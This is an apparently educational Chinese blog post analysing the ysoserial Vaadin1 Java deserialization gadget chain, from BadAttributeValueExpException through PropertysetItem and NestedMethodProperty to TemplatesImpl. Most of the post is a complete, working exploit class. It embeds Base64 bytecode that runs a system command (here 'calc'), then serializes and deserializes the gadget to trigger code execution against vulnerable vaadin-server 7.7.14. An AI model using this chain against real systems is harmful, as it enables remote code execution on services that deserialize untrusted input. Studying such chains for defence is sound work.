JAVA反序列化之Vaadin1
Vaadin简介
Vaadin 是一个在Java后端快速开发web应用程序的平台。用 Java 或 TypeScript 构建可伸缩的 UI,并使用集成的工具、组件和设计系统来更快地迭代、更好地设计和简化开发过程。
分析
先看ysoserial
给出的调用链
javax.management.BadAttributeValueExpException#readObject
com.vaadin.data.util.PropertysetItem#toString
com.vaadin.data.util.NestedMethodProperty#getValue
java.lang.reflect.Method#invoke
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
.....
可以看到链子的开始就是使用BadAttributeValueExpException
的readObject
去调用其他类toString
方法,这部分跟cc5一样,所以这条链子也是需要在java安全管理器关闭的情况下使用。继续看到PropertysetItem#toString
根据后续调用方法可知这里的this.getItemProperty(propertyId)
要返回一个NestedMethodProperty
对象
getItemProperty
方法是从this.map
中取出propertyId
对应的值,继续追踪propertyId
的来源。
可以看到键值是通过getItemPropertyIds
获取了一个迭代器,然后遍历这个迭代器。所以现在想办法添加键值进ItemProperty
,仔细看一下代码发现有一个addItemProperty
方法
正好就是用于添加ItemProperty
的,然后继续跟进getValue
方法
先了解一下NestedMethodProperty
这个类,该类的构造方法由两个参数,一个是要封装的对象,另一个是属性名,而getValue
就是调用属性名对应的getter
,那么思路就很清晰了。
EXP构造
导入依赖
<dependencies>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-shared</artifactId>
<version>7.7.14</version>
</dependency>
</dependencies>
构造一下EXP
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//构造TemplatesImpl对象
byte[] bytecode= Base64.getDecoder().decode("yv66vgAAADQAIAoABgATCgAUABUIABYKABQAFwcACQcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAAlDb2RlLmphdmEMAAcACAcAGwwAHAAdAQAEY2FsYwwAHgAfAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADAAEAA0ADQAOAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEgALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABYACwAAAAQAAQAPAAEAEQAAAAIAEg==");
byte[][] bytee= new byte[][]{bytecode};
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates,"_bytecodes",bytee);
setFieldValue(templates,"_name","Code");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//构造NestedMethodProperty对象
NestedMethodProperty nestedMethodProperty=new NestedMethodProperty(templates,"outputProperties");
//构造PropertysetItem对象
PropertysetItem propertysetItem=new PropertysetItem();
propertysetItem.addItemProperty("novic4",nestedMethodProperty);
//构造BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("x");
Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,propertysetItem);
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(badAttributeValueExpException);
oser.close();
System.out.println(ser);
ObjectInputStream unser=new ObjectInputStream(new ByteArrayInputStream(ser.toByteArray()));
Object newobj=unser.readObject();
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
}
很简单的一条链
参考文章
https://su18.org/post/ysoserial-su18-5/#vaadin1